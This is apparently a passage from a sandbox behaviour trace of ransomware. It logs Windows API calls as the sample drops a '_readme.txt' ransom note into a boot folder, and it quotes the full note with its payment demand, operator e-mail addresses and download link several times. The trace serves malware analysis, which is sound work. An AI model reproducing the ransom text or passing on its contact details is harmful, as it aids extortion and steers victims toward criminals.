RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.580] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.580] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.581] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0066.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.581] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.582] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.582] PathFindFileNameW (pszPath="") returned="" [0066.582] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.582] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.582] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.582] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.582] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.582] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.582] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.582] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.582] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0066.582] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.582] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.582] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0066.583] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.583] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.583] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.583] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.583] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.584] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.584] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.584] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.584] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.584] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.585] CloseHandle (hObject=0x5c4) returned 1 [0066.585] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.585] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.585] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.585] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.585] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.585] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.585] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.585] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.585] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.585] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337cdf0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.585] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337cdf0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.585] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.586] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.587] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.587] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.587] HeapFree 